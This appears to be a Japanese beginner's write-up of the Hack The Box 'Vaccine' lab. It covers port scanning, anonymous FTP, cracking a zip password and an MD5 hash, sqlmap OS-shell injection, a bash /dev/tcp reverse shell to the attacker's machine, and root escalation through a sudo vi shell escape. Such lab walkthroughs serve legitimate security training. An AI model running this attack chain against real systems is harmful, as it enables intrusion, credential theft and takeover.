こんにちは。ゆーろんです。
今回は Hack The Boxにて提供されいる Starting Pointsの「Vaccine」に関する攻略方法を記載していきたいと思います。
初めてのWriteUpの記述となるので温かい目でご覧ください。
目次
テクニック
テクニック | 説明 |
---|---|
ネットワークサービススキャン | NMAPによるポートスキャン |
ZIPパスワードの解析 | zip2johnとjohntheripperによるパスワード解析 |
SQL/コマンドインジェクション | SQLMapによるSQL/コマンドインジェクション |
リバースシェルの確立 | nc/bashコマンドによるリバースシェルの確立 |
手順
スキャニング/列挙
Nmapによりポートスキャン
Nmapによりポートスキャンを行います。
sudo nmap -sC -sV 10.10.14.53 --open -p- -T3
上記コマンドにより仮想しているサービスは以下のように判明しました。
ポート番号 | サービス | 詳細 |
---|---|---|
21/tcp | ftp | vsftpd 3.0.3 |
22/tcp | ssh | OpenSSH 8.0p1 Ubuntu 6ubuntu0.1 (Ubuntu Linux; protocol 2.0) |
80/tcp | http | Apache httpd 2.4.41 ((Ubuntu)) |
FTP接続
ftpがanonymousログインできることがNMAPのスキャンで判明します。
ftpにanonymousログインを行います。
ftp 10.10.14.53
ログイン後、ls -alコマンドでbackup.zipが見つかるのでgetコマンドでダウンロードします。
get backup.zip
John The Ripperによるパスワード解析
入手したzipをunzipコマンドで解凍しようとするとパスワードを求められます。 そこでJohn the ripperを使い、パスワードクラックを行います。
# zipファイルのパスワードハッシュの作成
zip2john backup.zip > hast.txt
# rockyou.txtを用いてパスワード総当たり
john --wordlist=/usr/share/wordlist/rockyou.txt hash.txt
するとパスワードが741852963と判明します。 このパスワードで解凍を行います。
Md5の解析
するとindex.phpとstyle.cssを入手できます。
index.phpはターゲットに80ポートでアクセスした際の認証画面のコードだと推測できます。
このファイルのページ上部を見ると以下のように書かれています。
<?php
session_start();
if(isset($_POST["username"]) && isset($_POST["password"])) {
if($_POST["username"] === "admin" && md5($_POST["password"]) === "2cb42f8734ea607eefed3b70af13bbd3") {
$_SESSION["login"] = "true";
header("Location: dashboard.php");
}
}
?>
md5でハッシュ化したパスワードが2cb42f8734ea607eefed3b70af13bbd3のものと一致すると認証突破できそうです。 そこでcrackstationを利用して既存のレインボーテーブルを調べるとハッシュ化前のパスワードがqwerty789であると判明します。
侵入
ブラウザでターゲットにアクセスして、admin、qwerty789でアクセスするとカタログページが表示されます。 このページはDBを利用していることがわかるので、検索欄のクエリにエラーになるように’を追加して反応を調べます。
SQLMAPを使用してアクセスできそうです。
SQLインジェクションとOSコマンドインジェクションができるかSQLmapで試してみます。
認証ページアクセスのためCookieはブラウザのF12(開発者ツール)のストレージから入手します。
sqlmap -u "http://10.10.14.53/dashboard.php?search=aaa'" --cookie="PHPSESSID=r45ajjsna9sja8js8ak2Sh" --os-shell
無事にシェルにアクセスできました。
シェルにアクセスできたら、定番のリバースシェルを確立させます。
攻撃機のターミナルでnc -lnvp 4444
で待ち受けを開始したら、sqlmapシェルの方で以下のように入力します。
bash -c "bash -i >& /dev/tcp/<攻撃機のIPアドレス>/4444 0>&1"
すると攻撃機でシェルを入手できます。
なお、安定化は定番のpython3 -c "import pty;pty.spawn("/bin/bash")"
で行えます。
シェル入手後、ls -al
コマンドでユーザフラグ(user.txt)を入手できます。
権限昇格
シェル入手後にdashboard.phpにアクセスできるので、catやtailコマンドなどで閲覧し DBへアクセスするためのユーザ名とパスワードである、postgresとP@s50rd!を入手できます。
sshコマンドでターゲットにアクセスします。
アクセスできたらsudo -l
で利用可能なコマンドと権限の確認します。
すると/bin/vi /etc/postgresql/11/main/pg_hda.confが利用できるとあります。
つまりこのファイルから/bin/viコマンドを利用して権限昇格できる可能性が高いです。
sudo /bin/vi /etc/postgresql/11/main/pg_hda.conf
入力後、:shellと対話モードで入力するとrootの権限昇格ができました。
後はroot.txtを見つけるだけでrootフラグの入手は完了です。